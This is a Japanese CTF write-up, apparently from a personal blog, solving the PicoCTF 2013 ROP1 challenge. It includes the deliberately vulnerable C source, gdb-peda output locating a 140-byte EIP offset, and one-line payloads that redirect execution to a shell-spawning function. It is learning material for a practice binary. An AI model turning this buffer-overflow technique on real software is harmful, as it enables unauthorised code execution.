PicoCTF2013 ROP1 Writeup
CTFに参加しても全然解けないので、難易度低めの過去問を解いていこうと思う。 特にPwnやRevが解けるようになりたい!!
まずはPicoCTFの問題からやっていきます。 今回は2013年のROP1。
問題編
珍しく問題文が充実してる。
Category: Binary Exploitation Points: 95 Description:
ROP is a classic technique for getting around address randomization and non-executable memory. This sequence will teach you the basics.
また、ソースコードも与えられていた。優しい!
#undef _FORTIFY_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> int not_called() { //★shellを起動する関数 return system("/bin/bash"); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); //★bufサイズよりも大きいサイズを読み込み可能 } void be_nice_to_people() { // /bin/sh is usually symlinked to bash, which usually drops privs. Make // sure we don't drop privs if we exec bash, (ie if we call system()). gid_t gid = getegid(); setresgid(gid, gid, gid); } int main(int argc, char** argv) { be_nice_to_people(); vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); }
解答編
実行してみる。
# ./rop1-fa6168f4d8eba0eb
★ここで入力待ちになる。
Hello, World
実行すると入力待ちになり、Enterを押下するとHello, Worldが表示される。
fileコマンド
# file rop1-fa6168f4d8eba0eb rop1-fa6168f4d8eba0eb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=3d63cf7522376251b7ae4ceb1d4aaaeb287cc7b1, not stripped
ltraceで動作の概要を観察する。
# ltrace ./rop1-fa6168f4d8eba0eb __libc_start_main(0x804850a, 1, 0xffca3fb4, 0x8048540 <unfinished ...> getegid() = 0 setresgid(0, 0, 0, 0x8048361) = 0 read(0 , "\n", 256) = 1 write(1, "Hello, World\n", 13Hello, World ) = 13 +++ exited (status 13) +++
checksecでセキュリティ対策を確認。
# gdb -q ./rop1-fa6168f4d8eba0eb Reading symbols from /root/ctf/picoCTF2013/ROP1/rop1-fa6168f4d8eba0eb...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
NXは有効になっている模様。
pattcを使ってオーバフローを発生させてみる。
# gdb -q ./rop1-fa6168f4d8eba0eb Reading symbols from /root/ctf/picoCTF2013/ROP1/rop1-fa6168f4d8eba0eb...(no debugging symbols found)...done. gdb-peda$ pattc 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' Starting program: /root/ctf/picoCTF2013/ROP1/./rop1-fa6168f4d8eba0eb <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xc9 EBX: 0xf7fc2000 --> 0x1b9d9c ECX: 0xffffd550 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...) EDX: 0x100 ESI: 0x0 EDI: 0x0 EBP: 0x41514141 ('AAQA') ESP: 0xffffd5e0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") EIP: 0x41416d41 ('AmAA') EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41416d41 [------------------------------------stack-------------------------------------] 0000| 0xffffd5e0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") 0004| 0xffffd5e4 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") 0008| 0xffffd5e8 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") 0012| 0xffffd5ec ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") 0016| 0xffffd5f0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") 0020| 0xffffd5f4 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") 0024| 0xffffd5f8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") 0028| 0xffffd5fc ("AAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41416d41 in ?? () Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7_3.5.i686
pattoでEIPへのオフセットを確認する。
gdb-peda$ patto 'AmAA' AmAA found at offset: 140
# cat input136 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # ./rop1-fa6168f4d8eba0eb < input136 Hello, World Segmentation fault (コアダンプ)
136文字以上の入力をするとセグフォルトする模様。
main関数の先頭アドレスを確認。
0x804850a <main>: push ebp 0x804850b <main+1>: mov ebp,esp 0x804850d <main+3>: and esp,0xfffffff0
試しに、EIPがmain先頭付近のアドレス0x804850bを指すようにオーバフローさせてみる。 エンディアンの影響に注意すること。
# python -c 'import sys; sys.stdout.write("A"*140)' > input2 && echo -ne '\x0b\x85\x04\x08' >> input2 # xxd input2 0000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000050: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000070: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000080: 4141 4141 4141 4141 4141 4141 0b85 0408 AAAAAAAAAAAA....
この入力(input2)を使ってデバッガ実行すると、 確かにvulnerable_function関数の戻りアドレスを0x804850bにできていることが確認できた。 ここまでで、EIPを取ることができたと言えるだろう。
ソースコードを見ると、bashを呼ぶ関数があることに気づく。
int not_called() { return system("/bin/bash"); }
objdumpから、該当関数のアドレスを確認。
080484a4 <not_called>: 80484a4: 55 push ebp
該当関数のアドレスにEIPが移るような入力を用意。
# python -c 'import sys; sys.stdout.write("A"*140)' > input3 && echo -ne '\xa4\x84\x04\x08' >> input3
その入力で実行してみる。
# gdb -q ./rop1-fa6168f4d8eba0eb Reading symbols from /root/ctf/picoCTF2013/ROP1/rop1-fa6168f4d8eba0eb...(no debugging symbols found)...done. gdb-peda$ r < input3 Starting program: /root/ctf/picoCTF2013/ROP1/./rop1-fa6168f4d8eba0eb < input3 [New process 14774] process 14774 is executing new program: /usr/bin/bash Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7_3.5.i686 process 14774 is executing new program: /usr/bin/bash [Inferior 2 (process 14774) exited normally] Warning: not running or target is remote
うまく実行できず。。。 いや、実行できているけど、正常終了してしまっている模様。
ここで、ヒントを参照。
Hint: It is really important not to close standard in: a common trick is to do echo -ne "my_exploit_string" > ~/some_random_file cat ~/some_random_file /dev/stdin | ./rop1 Alternatively, cat <(python -c 'print "my_exploit_string"') - | ./rop1 Otherwise, you will launch a shell, but standard in will be closed, so it'll just exit immediately, which is not much use at all! Good luck!
# cat input3 /dev/stdin | ./rop1-fa6168f4d8eba0eb ls
catの後に、/dev/stdinを付加するとシェルが取れた!! こうすることで、標準入力を閉じないようにしている模様。
学んだこと
- pattc/pattoを使うとEIPへのオフセットが容易に求まる
- echoコマンドに'-e'オプションをつけると、バイナリが扱える
- シェルが取れても標準入力が閉じてしまうことがある
- <<< はヒアストリングと言うらしい
最後に
ROPって何ぞや。。。
Return Oriented Programming: 実行したいコードを細かく分割し.text領域から探して組み合わせたもの
つまり、今回はソースコード中にsystem関数でbashを呼び出す箇所があったから、 それをそのまま利用するってことで、ROPと呼んでいる訳か。